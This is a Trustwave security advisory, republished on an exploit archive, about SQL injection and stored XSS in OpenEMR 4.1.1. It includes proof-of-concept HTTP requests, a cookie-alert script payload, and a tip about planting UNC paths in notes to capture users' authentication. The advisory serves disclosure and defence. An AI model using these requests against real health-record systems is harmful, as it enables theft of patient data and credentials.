what you don't know can hurt you

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection
Posted Jul 14, 2013
Authored by Nate Drier | Site trustwave.com

OpenEMR versions 4.1.1 patch-12 and below suffer from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2013-4619, CVE-2013-4620
SHA-256 | 34d2a68eac35ef40f833eadd836730cb6db7a18c16f6872866a69898d3908187

OpenEMR 4.1.1 patch-12 Cross Site Scripting / SQL Injection

Change Mirror Download
Trustwave SpiderLabs Security Advisory TWSL2013-018:
Multiple Vulnerabilities in OpenEMR

Published: 07/12/13
Version: 1.0

Vendor: OEMR (www.open-emr.org)
Product: OpenEMR
Version affected: 4.1.1 patch-12 and prior

Product description:
OpenEMR is an ONC-ATB Ambulatory EHR 2011-2012 certified electronic health records and medical practice management application. It features fully integrated electronic health, records, practice management, scheduling, electronic billing.

Finding 1: SQL Injection
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4619
CWE: CWE-89

Several locations in the authenticated portion of OpenEMR do not properly sanitize input. As any user (from Administrator to Front Desk), SQL statements can be injected into the application in the following locations:

1. Reports > Visits > SuperBill > Dates ('start' and 'end' parameters are vulnerable with a POST to
/openemr-4.1.1/interface/reports/custom_report_range.php)

#Request

POST http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

form_refresh=true&start=2013-01-07&end=2013-02-06'INJECT

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: select * from forms where form_name = 'New Patient Encounter' and date between '2013-01-07' and '2013-02'-06' order by date DESC<p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by date DESC' at line 1</font><p> <snip>

2. Misc > Chart Tracker ('form_newid' parameter is vulnerable with a POST to /openemr-4.1.1/custom/chart_tracker.php)


#Request

POST http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

form_newid=test'INJECT&form_lookup=Look+Up

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: SELECT pd.pid, pd.pubpid, pd.fname, pd.mname, pd.lname, pd.ss, pd.DOB, ct.ct_userid, ct.ct_location, ct.ct_when FROM patient_data AS pd LEFT OUTER JOIN chart_tracker AS ct ON ct.ct_pid = pd.pid WHERE pd.pubpid = 'test'INJECT' ORDER BY pd.pid ASC, ct.ct_when DESC LIMIT 1<p> <snip>

Finding 2: HTML / Script Injection (Persistant XSS)
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4620
CWE: CWE-79

The 'Office Notes' section of OpenEMR allows users of the application to submit notes for other users. This input is not sanitized, and HTML can be injected into the notes application and saved. Basic XSS works (alerts, document.cookie, etc). Useful in a pentest, UNC paths can also be saved as a note, and any user viewing the notes will attempt to authenticate to the UNC share location.

1. Misc > Office Notes ('note' parameter is vulnerable with a POST to /openemr-4.1.1/interface/main/onotes/office_comments_full.php)

#Request:

POST http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

mode=new&offset=0&active=all&note=<script>alert(document.cookie)</script>

#Response:

<snip>
<tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115' onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label for='box115' class='text'><script>alert(document.cookie)</script>&nbsp;</label></td></tr>
<snip>

Remediation Steps:
The vendor has released the 4.1.1 patch to addresses these vulnerabilities. All versions need to be upgraded to version 4.1.1 in order to apply the patch.

Revision History:
06/03/13 - Vulnerability disclosed
06/14/13 - Patch released by vendor
07/12/13 - Advisory published

References
1. http://www.open-emr.org/wiki/index.php/OpenEMR_Patches

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.


Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close